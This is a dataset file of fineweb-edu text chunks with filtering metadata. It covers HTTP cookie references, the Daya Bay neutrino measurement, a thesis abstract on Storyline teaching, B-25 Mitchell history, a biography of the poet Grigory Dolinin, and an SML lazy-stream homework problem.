"HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 15, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.860620"} {"text": "john ( 2001 - 09 - 04 ). \" giving web a memory cost its users privacy \". the new york times. - kesan, jey ; and shah, rajiv ; deconstructing code, ssrn. com, chapter ii. b ( netscape ' s cookies ), yale journal of law and technology, 6, 277 \u2013 389 - kristol, david ; http cookies : standards, privacy, and politics, acm transactions on internet technology, 1 ( 2 ), 151 \u2013 198, 2001 doi : 10. 1145 / 502152. 502153 ( an expanded version is freely available at arxiv : cs / 0105018v1 [ cs. se ] ) - \" press release : netscape communications offers new network navigator free on the internet \". web. archive. org. archived from the original on 2006 - 12 - 07. retrieved 2010 - 05 - 22. - \" usenet post by marc andreessen : here it is, world! \". groups. google. com. 1994 - 10 - 13. retrieved 2010 - 05 - 22. - hardmeier, sandi ( 2005 - 08 - 25 ). \" the history of internet explorer \". microsoft. retrieved 2009 - 01 - 04. - jackson, t ( 1996 - 02 - 12 ). \" this bug in your pc is a smart cookie \". financial times. - \" maintaining session state with cookies \". microsoft developer network. retrieved 22 october 2012. - rouse, margaret ( september 2005 ). \" transient cookie ( session cookie ) \". searchsoa. techtarget. retrieved 22 october 2012. - owasp browsers supporting httponly - ietf http state management mechanism \u2013 apr, 2011 obsoletes rfc 2965 - bottiger, arvid ( 2011 ). \" http - only cookies - brought to you by internet explorer 6 \". - mayer, jonathan. \" tracking the trackers : microsoft advertising \". the center for internet and society. retrieved 28 september 2011. - burt, david. \" update on the issue of \u2018 supercookies \u2019 used on msn \". retrieved 28 september 2011. - jim manico quoting daniel stenberg, real world cookie length limits - \" persistent client state http cookies : preliminary specification \". netscape. c1999. archived from the original on 2007 - 08 - 05. - rfc 2965 \u2013 http state management mechanism ( ietf ) - \" cookie property \". msdn. microsoft", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5022294447853164, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 16, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.861659"} {"text": "http cookies : preliminary specification \". netscape. c1999. archived from the original on 2007 - 08 - 05. - rfc 2965 \u2013 http state management mechanism ( ietf ) - \" cookie property \". msdn. microsoft. retrieved 2009 - 01 - 04. - shannon, ross ( 2007 - 02 - 26 ). \" cookies \u2014 set and retrieve information about your readers \". htmlsource. retrieved 2009 - 01 - 04. - innovative, php ( 2011 - 09 - 02 ). \" sharing cookies between multiple domains \". innovativephp. retrieved 2011 - 09 - 02. - rfc 2616 - hypertext transfer protocol - http / 1. 1 - symantec internet security threat report : trends for july \u2013 december 2007 ( executive summary ) ( pdf ) xiii. symantec corp. april 2008. pp. 1 \u2013 3. retrieved may 11, 2008. - whalen, david ( june 8, 2002 ). \" the unofficial cookie faq v2. 6 \". cookie central. retrieved 2009 - 01 - 04. - \" 3rd - party cookies, dom storage and privacy \". grack. com : matt mastracci ' s blog. january 6, 2010. retrieved 2010 - 09 - 20. - \" how to manage cookies in internet explorer 6 \". microsoft. december 18, 2007. retrieved 2009 - 01 - 04. - \" clearing private data \". firefox support knowledge base. mozilla. 16 september 2008. retrieved 2009 - 01 - 04. - \" clear personal information : clear browsing data \". google chrome help. google. retrieved 2009 - 01 - 04. - \" clear personal information : delete cookies \". google chrome help. google. retrieved 2009 - 01 - 04. - \" site compatibility for firefox 22 \", mozilla developer network, 2013 - 04 - 11 - miyazaki, anthony d. ( 2008 ), \u201c online privacy and the disclosure of cookie use : effects on consumer trust and anticipated patronage, \u201d journal of public policy & marketing, 23 ( spring ), 19 \u2013 33 - \" cia caught sneaking cookies \". cbs news. 2002 - 03 - 20. - \" spy agency removes illegal tracking files \". the new york times. 2005 - 12 - 29. - \" eu cookie directive - directive 2009 / 136 / ec \". jisc legal information. retrieved 31 october 2012. - privacy and electronic communications regulations. information commissioner ' s office. 2012. - directive 95 / 46 / ec", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.49699362880788156, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 17, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.862538"} {"text": "12 - 29. - \" eu cookie directive - directive 2009 / 136 / ec \". jisc legal information. retrieved 31 october 2012. - privacy and electronic communications regulations. information commissioner ' s office. 2012. - directive 95 / 46 / ec of the european parliament and of the council of 24 october 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data. 1995 - 11 - 23. pp. p. 0031 \u2013 0050. retrieved 31 october 2012. - \" new eu cookie law ( e - privacy directive ) \". retrieved 31 october 2012. - \" eu cookie law : stop whining and just get on with it \". retrieved 31 october 2012. - \" a loophole big enough for a cookie to fit through \". bits. the new york times. retrieved 31 january 2013. - pegoraro, rob ( july 17, 2005 ). \" how to block tracking cookies \". washington post. p. f07. retrieved 2009 - 01 - 04. - wired hack obtains 9 bogus certificates for prominent websites - fielding, roy ( 2000 ). \" fielding dissertation : chapter 6 : experience and evaluation \". retrieved 2010 - 10 - 14. - tilkov, stefan ( july 2, 2008 ). \" rest anti - patterns \". infoq. retrieved 2009 - 01 - 04. - mena, jesus ( 2011 ). machine learning forensics for law enforcement, security, and intelligence. boca raton, fl : crc press ( taylor & francis group ). isbn 9 - 781 - 4398 - 6069 - 4. - \" thomasfrank. se \". thomasfrank. se. retrieved 2010 - 05 - 22. - rfc 6265 \u2013 the official specification for http cookies - http cookies - mozilla developer network - using cookies via ecmascript - mozilla developer network - how internet cookies work at howstuffworks - information about cookies from microsoft - cookies at the electronic privacy information center ( epic ) - taking the byte out of cookies : privacy, consent, and the web ( pdf ) - web handbook \u2013 cookies from delivery and transformation group, cabinet office, uk - cookie - based counting overstates size of web site audiences at comscore - don \u2019 t tread on our cookies \u2013 the web privacy manifesto at pbs - mozilla knowledge - base : cookies - avg blogs : what are cookies", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.496162047451594, "token_count": 498, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 18, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.863444"} {"text": "a new kind of neutrino transformation esnet helps scientists discover how neutrinos flavor - shift march 8, 2012 neutrinos, the wispy particles that flooded the universe in the earliest moments after the big bang, are continually produced in the hearts of stars and other nuclear reactions. untouched by electromagnetism, they respond only to the weak nuclear force and even weaker gravity, passing mostly unhindered through everything from planets to people. years ago scientists also discovered another hidden talent of neutrinos. although they come in three basic \u201c flavors \u201d \u2014 electron, muon and tau \u2014 neutrinos and their corresponding antineutrinos can transform from one flavor to another while they are traveling close to the speed of light. how they do this has been a long - standing mystery. but some new, and unprecedentedly precise, measurements from the multinational daya bay neutrino experiment are revealing how electron antineutrinos \u201c oscillate \u201d into different flavors as they travel. this new finding from daya bay opens a gateway to a new understanding of fundamental physics and may eventually solve the riddle of why there is far more ordinary matter than antimatter in the universe today. the international collaboration of researchers is made possible by advanced networking and computing facilities. in the u. s., the department of energy \u2019 s high - speed science network, esnet, speeds data to the national energy research scientific computing center ( nersc ) where it is analyzed, stored and made available to researchers via the web. both facilities are located at the doe \u2019 s lawrence berkeley national laboratory ( berkeley lab ). nuclear reactors of the china guangdong nuclear power group at daya bay and nearby ling ao produce millions of quadrillions of elusive electron antineutrinos every second. the six massive detectors buried in the mountains adjacent to the powerful reactors, make up the daya bay experiment. researchers in the collaboration count the number of electron antineutrinos detected in the halls nearest the daya bay and ling ao reactors and calculate how many would reach the detectors in the far hall if there were no oscillation. the number that apparently vanishes on the way ( oscillating into other flavors, in fact ) gives the value of theta one - three, written \u03b813. shortly after experimental data is collected, it travels across the pacific ocean via the national science foundation \u2019 s gloriad network, which connects to esnet backbone in seattle, washington. from seattle, esnet carries", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5953541414858148, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.877864"} {"text": "theta one - three, written \u03b813. shortly after experimental data is collected, it travels across the pacific ocean via the national science foundation \u2019 s gloriad network, which connects to esnet backbone in seattle, washington. from seattle, esnet carries the data to the nersc in oakland, california. at nersc the data is processed in real - time on the pdsf cluster, archived in the high performance storage system ( hpss ) and shared with collaborators around the world via the daya bay offline data monitor, a web - based \u201c science gateway \u201d hosted by nersc. the first daya bay results show that \u03b813, once feared to be near zero, instead is \u201c comparatively huge, \u201d remarks luk kam - biu luk of the berkeley lab and the university of california at berkeley. luk is co - spokesperson of the daya bay experiment and heads u. s. participation. \u201c what we didn \u2019 t expect was the sizable disappearance, equal to about six percent. although disappearance has been observed in another reactor experiment over large distances, this is a new kind of disappearance for the reactor electron antineutrino, \u201d he explained. \" this is a new type of neutrino oscillation, and it is surprisingly large, \" says yifang wang of china ' s institute of high energy physics ( ihep ), co - spokesperson and chinese project manager of the daya bay experiment. \" our precise measurement will complete the understanding of the neutrino oscillation and pave the way for the future understanding of matter - antimatter asymmetry in the universe. \" computing \u2019 s crucial role as a united states tier - 1 facility for the daya bay neutrino experiment, nersc is the only site where all of the raw, simulated and derived data are analyzed and archived. from nersc, esnet carries dayabay data to brookhaven national laboratory ( bnl ), which serves as a tier - 2 us facility for the experiment. bnl is responsible for secondary data processing of daya bay data, as well as some archiving. \u201c this experiment could not have been done without nersc and esnet, \u201d says craig tull, of the berkeley lab \u2019 s computational research division. \u201c over the last four to five years we \u2019 ve been doing simulations and analysis on pdsf, transferring and archiving data on hpss, and accessing results on the science gateway. the experiment could not have been done with", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5488996743475862, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.880866"} {"text": "computational research division. \u201c over the last four to five years we \u2019 ve been doing simulations and analysis on pdsf, transferring and archiving data on hpss, and accessing results on the science gateway. the experiment could not have been done with out these resources and the very capable and conscientious staff helping us. \u201d as the us manager of software and computing for the daya bay neutrino experiment, tull led the overall computing effort including development of a software framework, called nuwa, which allows researchers all over the world to collaborate in analyzing this experimental data, and of the spade - driven data management and processing pipeline. he also coordinated with esnet and nersc staff to ensure that daya bay data could be processed, analyzed and archived in real time, providing scientists immediate insight into the quality of physics data recorded and the performance of detectors. \u201c the software and computing components of the daya bay neutrino experiment have been extremely crucial to science, \u201d says tull. \u201c thanks to the computing expertise at berkeley lab, we were able to see antineutrinos with nuwa in the first filled detectors within 24 hours. we were able to see an anti - neutrino deficit in the far hall within days. and finally, we have been able to extract a high - quality \u03b813 value within only 75 days of start of far - hall running. \u201d \" this is really remarkable, \" says wenlong zhan, vice president of the chinese academy of sciences and president of the chinese physical society. \" we hoped for a positive result when we decided to fund the project, but we never imagined it could come so quickly. \" \" exemplary teamwork among the partners has led to this outstanding performance, \" says james siegrist, doe associate director of science for high energy physics. \" these notable first results are just the beginning for the world ' s foremost reactor neutrino experiment. \" the daya bay collaboration consists of scientists from the following countries and regions : china, the united states, russia, the czech republic, hong kong, and taiwan. the chinese effort is led by co - spokesperson, chief scientist, and project manager yifang wang of the institute of high energy physics, and the u. s. effort is led by co - spokesperson kam - biu luk and project and operations manager william edwards, both of berkeley lab and uc berkeley, and by chief scientist steve kettell of brookhaven. esnet provides the high - bandwidth, reliable connections that link scientists", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.5310840867321389, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.882467"} {"text": "mitchell - barrett, rhonda ( 2010 ) an analysis of the storyline method in primary school ; its theoretical underpinnings and its impact on pupils \u2019 intrinsic motivation. doctoral thesis, durham university. this study explores the relationship between the scottish storyline teaching method and pupils \u2019 levels of motivation when engaged in a storyline topic. it also examines the theoretical underpinnings for storyline drawn from constructivism, progressive education, drama methodology and intrinsic motivation. storyline as a pedagogy emerged in scotland during the late 1960s, as a means to support primary school teachers in teaching a topic based curriculum. storyline as a teaching methodology has been widely adopted across europe and america and in these countries, the method continues to grow in popularity. in order to meet the demands of the scottish \u2018 curriculum for excellence \u2019, there was recently a storyline revival in scotland. yet in england, storyline remains little known or virtually unheard of. however, with changing curriculum demands, teachers are searching for a pedagogy to teach topic based, cross curricular learning themes and as this paper will demonstrate, the storyline method presents one such approach. for the purposes of this study, pupils \u2019 levels of intrinsic motivation were attained using an intrinsic motivation itemised questionnaire and the views and opinions of a sample group of pupils were gained through semi - structured interviews. this blend of data provides an insight into the scoring of pupils \u2019 motivational levels and also their thoughts and experiences of the storyline method. this research was then viewed within the wider context of the primary school curriculum, making links to recent developments in education policy making, and considering storyline as a methodology to meet the needs of an unknown future curriculum. | item type : | | thesis ( doctoral ) | | award : | | doctor of education | | keywords : | | storyline, intrinsic motivation, extrinsic motivation, constructivism, progressive education, drama methodology | | faculty and department : | | faculty of social sciences and health > education, school of | | copyright : | | copyright of this thesis is held by the author | | deposited on : | | 07 dec 2010 15 : 17 |", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5661024331751064, "token_count": 428, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.884815"} {"text": "navy lieutenant edgar g. osborne looked at his watch. it was 8 : 20 in the morning of april 18, 1942. the flight deck officer flagged lt. col. doolittle in the lead aircraft to take off into the 40 knots headwind. one after one the 16 aircraft accelerated down the deck of the carrier, reaching takeoff speed in just 450 feet. dipping slightly off the end of the bobbing runway, they wobbled skywards for their nearly 700 mile voyage to the japanese empire. the doolittle raid was underway. the north american aviation b - 25 mitchell was reputedly the best medium bomber of world war ii. it was built in larger numbers than any other us twin - engine bomber, it served on all fronts and was supplied to the soviet union, holland, australia, brazil and the uk. in 1937, us army materiel division wanted a twin - engine bomber with longer range and the ability to carry higher payloads than the existing single - engine types in service. they wanted it to fly 1200 miles at 200 mph / 174 kts, carrying 1200 pounds of bombs. the circular proposal was sent out in march 1938. proposals were submitted by boeing - stearman, bell, douglas, martin and north american aviation. north american ' s design na - 40 was selected, and in january 1939 it flew for the first time. except for the unimpressive xb - 21 dragon, north american aviation had previous experience with neither twin - engine designs nor bombers. the crew of five was considered large for an aircraft in the attack role. the two pilots were seated in tandem up front, the radio operator and gunner were in the aft fuselage and the bombardier / navigator ' s office was in the all - glass nose. armament consisted of three 0. 30in / 7. 62mm machine guns ; one in the nose, one in a dorsal turret behind the cockpit and one which could be moved between different cut - outs in the aft fuselage. compared to the ultimate version of the b - 25, this armament was akin to shooting rubber bands. the engines were a pair of pratt & whitney r - 1830s rated at 1100hp each, driving two twelve foot three blade propellers. on january 29, 1939, the na - 40 flew for the first time. behind the controls was north american test pilot paul balfour. among the many things uncovered during the first test flights was the fact that the na - 40 was seriously underpowered. in february 1939 the pratt & whitney engines were replaced by wright r - 2600 double cyclones", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.40184057625041625, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.901084"} {"text": "controls was north american test pilot paul balfour. among the many things uncovered during the first test flights was the fact that the na - 40 was seriously underpowered. in february 1939 the pratt & whitney engines were replaced by wright r - 2600 double cyclones. each of these fourteen cylinder air - cooled radial monsters yielded 1600hp, enough to propel the aircraft to 286 mph / 249 knots at 5000 ft. after the engine switch, the designation changed to na - 40b. on april 11, 1939, the na - 40b crashed during an engine - out test. although the crew escaped injury, the aircraft was completely destroyed by fire. even though the accident was found not to be caused by the aircraft, the us army air corps ( usaac ) decided not to proceed with the north american design. the order went to douglas aircraft company and their db - 7 model instead. it became the douglas a - 20 havoc in usaaf service. north american ' s next attempt in march 1939 the army air corps issued a new proposal for the design of a medium bomber. north american took the na - 40b design, improved it and submitted it as na - 62. the new design was slightly larger, could carry more payload and had greater range. the tandem cockpit of the na - 40b was replaced by a side - by - side cockpit, thus changing the entire nose layout of the aircraft. the na - 62 retained its crew of five and got an extra 0. 50in / 12. 7mm machine gun in the tail. on august 10, 1939, the us army air corps ordered 184 na - 62s directly off the drawing board. its official designation became b - 25 mitchell. the idea for the name came from lee atwood, north american ' s vice president and chief engineer the b - 25 was named after colonel william c. \" billy \" mitchell who was an outspoken advocate for air power. in the 1920 ' s, the take on aircraft was that they were best suited for observation. colonel mitchell opposed this view, arguing for air power in its own right. he was court - martialed for insubordination because of this. he was however ultimately proven right, and posthumously promoted to brigadier general. the b - 25 was accepted by the us army in february 1941. one of the first b - 25s ever built was modified into general henry h. \" hap \" arnold ' s personal transport. this particular aircraft is still airworthy today, carrying the us civil registration number n2825b. it was also owned", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4268587248353034, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.902348"} {"text": "of the first b - 25s ever built was modified into general henry h. \" hap \" arnold ' s personal transport. this particular aircraft is still airworthy today, carrying the us civil registration number n2825b. it was also owned by howard hughes at one time. the very first b - 25 built was retained by north american as a company transport. it had seats, windows and other civilian conveniences fitted. it was named whiskey express and served naa until an unfortunate belly landing in 1945 which saw it off to the scrap heap. in february 1941, the b - 25a emerged from the factory with crew armour and self - sealing fuel tanks. the engines didn ' t change though, resulting in a slight speed and range penalty on the mitchell. some of the 40 b - 25as built were assigned to coastal defence, one claiming the sinking of a japanese submarine off california on december 24, 1941. the defensive armament of the mitchell was found to be less than effective. 0. 30in / 7. 62mm aircraft guns just doesn ' t pack enough punch unless they have a ridicolously high rate of fire ( as evidenced by the 1960s ' multi - barreled miniguns ), so the waist and tailguns were replaced with two dual 0. 50in / 12. 7mm turrets. one turret was on the top of the rear fuselage and manned. the other was a retractable belly turret operated and sighted remotely from the cockpit. the belly turret was usually removed in the field because of its poor design. to fire the remote controlled guns, the gunner had to kneel down and look through a periscope system while handling the dual firing controls, becoming dizzy and nauseous in the process. it took almost a full minute to lower the turret, and sometimes it wouldn ' t even come back up again. a man could learn to play the fiddle good enough for carnegie hall before he could learn to fire that thing. - colonel doolittle describing the ventral gun turret the final b - 25b was delivered in january 1942, completing the original usaaf contract for 184. naa delivered 23 b - 25bs to the british raf as \" micthell mark i \" as well as a small number to the soviets. 40 b - 25bs originally destined for the dutch air force were diverted for usaaf use. the sixteen mitchells that took off from uss hornet for what became known as the doolittle raid were b - 25bs. variants b - 25c and b - 25", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.393668269723929, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.903358"} {"text": "with 3000 pounds of bombs. to give the crew a little convenience on long trips at high altitudes, a cabin heater was also put in. in addition, a lot of other minor changes and combat modifications were done both in the field and in naa ' s factories as combat reports came back. the us marine corps also used variants of the mitchell called pbj - 1c and pbj - 1d. these were significantly modified b - 25c and b - 25d mitchells. most importantly, they sometimes had a search radar in the nose and the ability to carry mines, depth charges and torpedoes. later usmc mitchells had provisions for ten hvar ( high velocity air rocket ) rockets. general kenney and colonel \" pappy \" gunn two usaaf officers influential on the mitchell ' s further developments were major general george c. kenney and colonel paul i. \" pappy \" gunn. kenney was in charge of the pacific 5th air force under general douglas macarthur. together with colonel gunn he devised several mitchell modification schemes which gave the aircraft terrifying firepower in ground attacks. the lone 50 caliber in the nose was substituted by colonel gunn and naa for a devastating set - up ; four caliber 50 guns sticking out of the nose and two or four more in \" blister packs \" under the cockpit. eight 0. 50in / 12. 7mm guns firing simultaneously at a target pretty much guarantees something will happen to it. together with the added firepower also came the tactics of anti - shipping skip bombing. general kenney was not your ordinary desk type commander and had some fairly original ideas on how the enemy should be thrown out of the south pacific. pre - war doctrine on shipping strikes dictated bombing from medium or high altitude. that is at least 10. 000ft / 3300m up in the air. kenney and gunn found that from such heights hitting anything with free - falling bombs was anything but easy, especially when faced with intense anti - aircraft fire. what they came up with instead was skip bombing. coming in at very low level riddling the enemy ship with all eight forward machine guns, a time - delayed bomb was dropped at a preset distance from the target. the bomb would skip across the sea and explode in the ship after the mitchell had pulled up and flown away. albeit very dangerous, this proved to be a devastatingly effective attack. naa considered a few increases in firepower themselves, the biggest and most fearsome - looking was the m - 4 75mm nose cannon.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4326620078350728, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.905794"} {"text": "had pulled up and flown away. albeit very dangerous, this proved to be a devastatingly effective attack. naa considered a few increases in firepower themselves, the biggest and most fearsome - looking was the m - 4 75mm nose cannon. the m - 4 was a standard army issue 75mm originally developed in france during world war i. inside the extensively modified aircraft nose, a moving cradle and a spring mechanism was fitted to absorb the recoil. an armoured rack with 21 shells for the cannon was also fitted. the only aircraft to have a bigger gun than the b - 25g mitchell was the contemporary experimental italian piaggio p. 108a and the post - war lockheed ac - 130 spectre gunship, both with 105mm guns. the rest of the g - variant armament was generally similar to the c / d variant ; gun turrets on top and bottom and no guns in the tail. in the middle of the b - 25g production run, the bottom turret was deleted and never appeared on the mitchell again. the impressive appearance of the g - variant only looked good on paper though. in the field the manually loaded 75mm cannon was found to be lacking with regard to aiming and rate of fire. a pair of 0. 50in / 12. 7mm guns in the nose were supposed to help the pilot in aiming and ranging the 75mm gun. because of the differences in trajectory from the big shells, the guns proved useless for both aiming and ranging. as a result of this and the ever dwindling number of targets for the big gun, it was rarely used. by now the b - 25 had firmly entrenched itself as the low level attack aircraft of choice from the south pacific to the mediterranean theater. the h variant was largely similar to the g except for the usual nose armament experiments. a lighter 75mm gun was fitted to the nose and the two 0. 50in / 12. 7mm machine guns got the company of two more. an additional two machine guns were mounted on the fuselage starboard ( later two more on the port ) side. the top turret was moved forward to counter the bigger and more comfortable tail turret. both turrets had dual machine guns. the mitchell were now armed with fourteen 0. 50in / 12. 7mm machine guns, one 75mm cannon, hvar rockets, 3200 pounds of bombs or a torpedo and 5600 rounds of caliber 50. an impressive array of firepower indeed. a controversial change on the h variant was the removal of the co - pilot. leading figures in", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.432369759420675, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.906922"} {"text": "the us air national guard as support for f - 89 scorpion and f - 94 starfire fighter intercept squadrons. others were utilized as weather reconnaissance and personnel transports. a few mitchells were used in the korean war as electronic warfare aircraft. being the most prolific surviving warbird, the mitchell have also seen extensive civilian use. a large number of surplus mitchells were bought as executive transports, of course with both the exterior and interior getting a thorough redecoration. another use for the mitchell was in the field of civilian firefighting. the us forest service bought a considerable number of surplus mitchells, installed huge water tanks in the main fuselage and sent them out to waterbomb forest fires. firefighter mitchells can be seen in the 1992 mel gibson / jamie lee curtis movie forever young. in the movie catch - 22, a big number of mitchells can be seen in various flying scenes. the movie and book main character yossarian is a pilot on a b - 25. finally, early cinerama film work used a converted b - 25 as a camera platform for hollywood aerial shoots. out of the about 150 surviving mitchells, around 40 are still airworthy today. among them are barbie iii, yellow rose, heavenly body, miss mitchell, panchito and killer b. the next time you are at an air show, look out for one of these warbirds usually refitted by chino, california company aero traders. the b - 25 in other air forces the b - 25 mitchell flew with many different air forces during and after world war ii : - dutch air force until 1951 - royal australian air force. until 1945. - royal canadian air force. mostly post - war use until 1960. - soviet air force. 870 delivered. got the nato reporting name bank after the war. - nationalist china air force in china, later taiwan. over 100 delivered. - french air force. 21 delivered. scrapped in 1947. - brazil. 92 delivered. used until 1970. - royal air force, uk. 910 delivered. - bolivia. 13 delivered. used at least until 1979. - chile. twelve delivered. replaced in 1954. - colombia. three delivered. used until 1957. - cuba. four delivered. used until 1959 at least. - mexico. three delivered. used until the 1960 ' s. - peru. 20 delivered in 1947. used until the 1960 ' s. - uruguay. 14 delivered. - venezuela. 39 delivered. replaced in 1971. a total of 9884 b - 25 mitchells were built by north", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.38591453142773313, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.909080"} {"text": "grigory dolinin ( \u0433\u0440\u0438\u0433\u043e\u0440\u0438\u0438 \u0434\u043e\u043b\u0438\u043d\u0438\u043d ) ( 1893 - 1943 ) was a russian poet. * 1917, yasnaya polyana, lenin * death & reception dolinin was born in pochinok, a small jewish community 50 kilometers ( 31 mi ) southeast of smolensk. as a child he lived in the same street as el lissitzky, who would later prove to be a key figure in his artistic development. his father was the official heraldic painter of the town. he was paid to record all official events and to draw up new insignia for the locality. dolinin said in his 1937 collection of essays ' collage - collaboration ' that \" he ( dolinin snr. ) did not create each work anew or original, but relied on copying models and standards that he had developed over time and then catalogued. each commission would be an assemblage of previous types, and his skill was in composition - ensuring that nobody noticed. as far as i can tell, this was common practice amongst painters back then, only no - one attached fancy words to the strategy as they would now. \" 1 dolinin was one of a limited number of jews selected to study at st. petersburg university and after moving to the city became part of the radical literary group opoyaz ( society for the study of poetic language ). dolinin ' s major literary innovation was the verse - montage, the reuse of old lines in a new context. he wrote \" there is much shit out there and i don ' t want to add any more. it makes sense to be economical - to recycle, to translate bad works into good. russia must use its natural resources smartly. similarly, there is a mountain of heroic poetry that i can only hope to emulate. as the englishman eliot said, \" all artists borrow, great artists steal \". by placing an old word or an old phrase in a new context, we give it new life in the bolshevik era. we make it relevant, estranged from its original role, with an amalgam of inter - textual connectivity. only a poetry that connects the very oldest with the very newest can express the timelessness of the communist narrative. \" 2 the innovation mirrored advances made in the field of photo - montage by constructivists such as lissitzky, klucis and stepanova, who themselves drew inspiration from the montage sequences and quick editing", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45140051297513106, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.917536"} {"text": "the communist narrative. \" 2 the innovation mirrored advances made in the field of photo - montage by constructivists such as lissitzky, klucis and stepanova, who themselves drew inspiration from the montage sequences and quick editing evident in eisenstein ' s films. \"... sometimes the cut should be bold and noticeable, disruptions in rhythm and rhyme jolting the reader from their automatised consciousness. other times two pieces should merge seamlessly so that we search for the join, that invisible ideological glue connecting divergent histories and literatures. \" 3 1917, yasnaya polyana, lenin his 1932 opus ' 1917 ' is noted as the masterpiece of his ' verse - montage ' technique of writing. dolinin constructed the majority of the poem using quotes assembled from elsewhere, either from works of literature or from other media. the poem deals with dolinin ' s lack of faith in the aftermath of the revolution, the death of his close friend mayakovsky, and the question of what constituted authentic communist art ( often opposed to the reactionary proletarianism of demyan bedny ). excerpt from 1917 for i do not wish to turn again, from the left, left, left yezhov looks at lili ' s note of volodya she ' s bereft. an enemy of the five - year plan dreaming on a softened brain, i never promoted friends to spies, by this you know my pain. 4 yasnaya polyana was a populist piece comprised entirely of lines from the works of lev tolstoy, brooding on issues of home and nationhood. many russians at the time would ' ve been familiar with tolstoy ' s work, and there was a challenge issued in the newspaper pravda for readers to source each and every line down to the page number. the competition was won by a housewife from kazan. 5 his poem entitled ' lenin ' was commissioned by stalin in 1939 and was accompanied with original art work by el lissitzky. due to the molotov - ribbentrop pact of 1939 and the racial antagonism that ensued, the poem did not achieve a wide release on account of dolinin and lissitzky ' s jewish heritage. dolinin lost stalin ' s patronage after taking affront to what he saw as cynical realpolitik. 6 death & reception dolinin died of malnutrition in the siege of leningrad in november 1943, just two months", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4740192005094293, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.918533"} {"text": "1 streams and lazy evaluation ( 40 points ) we know that comparison sorting requires at least o ( n log n ) comparisons where were are sorting n elements. let \u2019 s say we only need the first f ( n ) elements from the sorted list, for some function f. if we know f ( n ) is asymptotically less than log n then it would be wasteful to sort the entire list. we can implement a lazy sort that returns a stream representing the sorted list. each time the stream is accessed to get the head of the sorted list, the smallest element is found in the list. this takes linear time. removing the f ( n ) elements from the list will then take o ( nf ( n ) ). for this question we use the following datatype definitions. there are also some helper functions defined. ( * suspended computation * ) datatype ' a stream ' = susp of unit - > ' a stream ( * lazy stream construction * ) and ' a stream = empty | cons of ' a * ' a stream ' note that these streams are not necessarily infinite, but they can be. q1. 1 ( 20 points ) implement the function lazysort : int list - > int stream '. it takes a list of integers and returns a int stream ' representing the sorted list. this should be done in constant time. each time the stream ' is forced, it gives either empty or a cons ( v, s ' ). in the case of the cons, v is the smallest element from the sorted list and s ' is a stream ' representing the remaining sorted list. the force should take linear time. for example : - val s = lazysort ( [ 9, 8, 7, 6, 5, 4 ] ) ; val s = susp fn : int stream ' - val cons ( n1, s1 ) = force ( s ) ; val n1 = 4 : int val s1 = susp fn : int stream ' - val cons ( n2, s2 ) = force ( s1 ) ; val n2 = 5 : int val s2 = susp fn : int stream ' - val cons ( n3, s3 ) = force ( s2 ) ; val n3 = 6 : int val s3 = susp fn : int stream ' here is what is given as code : ( * suspended computation * ) datatype ' a stream ' = susp of unit - >", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.4763173744352077, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": 